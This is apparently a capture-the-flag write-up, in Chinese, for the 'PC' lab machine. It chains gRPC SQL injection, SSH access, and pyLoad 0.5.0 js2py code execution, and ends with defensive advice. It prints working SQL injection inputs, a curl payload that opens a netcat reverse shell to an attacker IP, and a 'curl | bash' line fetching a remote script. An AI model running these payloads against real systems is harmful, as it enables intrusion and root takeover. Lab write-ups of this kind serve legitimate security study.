[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
字数 911 2025-08-29 08:30:36
gRPC HTTP2 SQLI + KTOR-HTTP扫描 + pyLoad 0.5.0权限提升攻击链分析
1. 信息收集阶段
1.1 初始扫描
目标IP: 10.10.11.214
使用命令进行存活检测和端口扫描:
ip='10.10.11.214'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
发现开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 50051/tcp: gRPC HTTP/2服务
1.2 gRPC服务探测
使用grpcurl工具与gRPC服务交互:
- 下载grpcurl工具:
wget https://github.com/fullstorydev/grpcurl/releases/latest/download/grpcurl_1.9.2_linux_x86_64.tar.gz
- 列出可用服务:
grpcurl -plaintext 10.10.11.214:50051 list
# 输出: SimpleApp
grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
- 描述服务和方法:
grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp
grpcurl -plaintext 10.10.11.214:50051 describe LoginUserRequest
grpcurl -plaintext 10.10.11.214:50051 describe getInfoRequest
2. SQL注入攻击
2.1 用户注册与登录
- 注册用户:
grpcurl -plaintext -d '{"username":"maps","password":"maps"}' 10.10.11.214:50051 SimpleApp.RegisterUser
- 用户登录获取token:
grpcurl -plaintext -vv -d '{"username":"maps","password":"maps"}' 10.10.11.214:50051 SimpleApp.LoginUser
# 返回token示例: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg2MzQyOX0.CHbQPJZifCuzIQ7IzTJlN8BYd9T4SStEwEL4ygJpygM
2.2 SQL注入利用
- 初步测试SQL注入:
grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg2MzQyOX0.CHbQPJZifCuzIQ7IzTJlN8BYd9T4SStEwEL4ygJpygM' -d '{"id": "-1 union select 2-- -"}' 10.10.11.214:50051 SimpleApp.getInfo
- 提取账户信息:
grpcurl -plaintext -H 'token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibWFwcyIsImV4cCI6MTczOTg5NTYyNn0.ad2gHY5jP89gKHHTwRndAV_vC3nLAW48qNNGBs5SSxY' -d '{"id": "-1 UNION SELECT GROUP_CONCAT(username || password) FROM accounts;--"}' 10.10.11.214:50051 SimpleApp.getInfo
# 获取到密码: HereIsYourPassWord1431
3. 初始访问
使用获取的凭据通过SSH登录:
ssh sau@10.10.11.214
# 密码: HereIsYourPassWord1431
获取user flag:
853046f61d1950319e09a0664f03abc6
4. 权限提升
4.1 发现pyLoad服务
- 检查本地服务:
ps aux | grep pyload
- 发现pyLoad 0.5.0版本存在漏洞
4.2 端口转发
设置SSH端口转发以访问本地pyLoad服务:
ssh -f -N -L 8000:127.0.0.1:8000 -L 9666:127.0.0.1:9666 sau@10.10.11.214
访问pyLoad web界面:
http://127.0.0.1:8000/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F
4.3 利用js2py漏洞提权
参考漏洞: Huntr Bounty
执行远程代码执行攻击:
curl -i -s -k -X POST \
--data-binary "jk=pyimport%20os;os.system(\"rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.24%201234%20%3E%2Ftmp%2Ff\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa" \
"http://localhost:8000/flash/addcrypted2"
此payload会:
- 创建一个命名管道
/tmp/f - 通过netcat反向连接到攻击者机器(10.10.16.24:1234)
- 提供交互式root shell
4.4 获取root权限
成功获取root shell后,读取root flag:
6c032585f46aad66f4762f8f95e59fe1
5. 工具使用说明
KTOR-HTTP扫描工具
使用KTOR进行扫描:
curl http://10.10.16.24/ktor.sh|bash -s -- -l -p all
6. 漏洞总结
-
gRPC SQL注入漏洞:
- 通过getInfo接口的id参数注入SQL
- 允许提取数据库敏感信息
-
pyLoad 0.5.0 js2py漏洞:
- 通过flash/addcrypted2端点执行任意Python代码
- 由于js2py的不安全实现导致RCE
- 攻击者可以以pyLoad进程权限(通常为root)执行命令
7. 防御建议
- 对gRPC接口实施参数化查询
- 升级pyLoad到最新版本
- 限制pyLoad服务的网络访问
- 实施最小权限原则,不以root运行pyLoad
- 对用户输入进行严格验证和过滤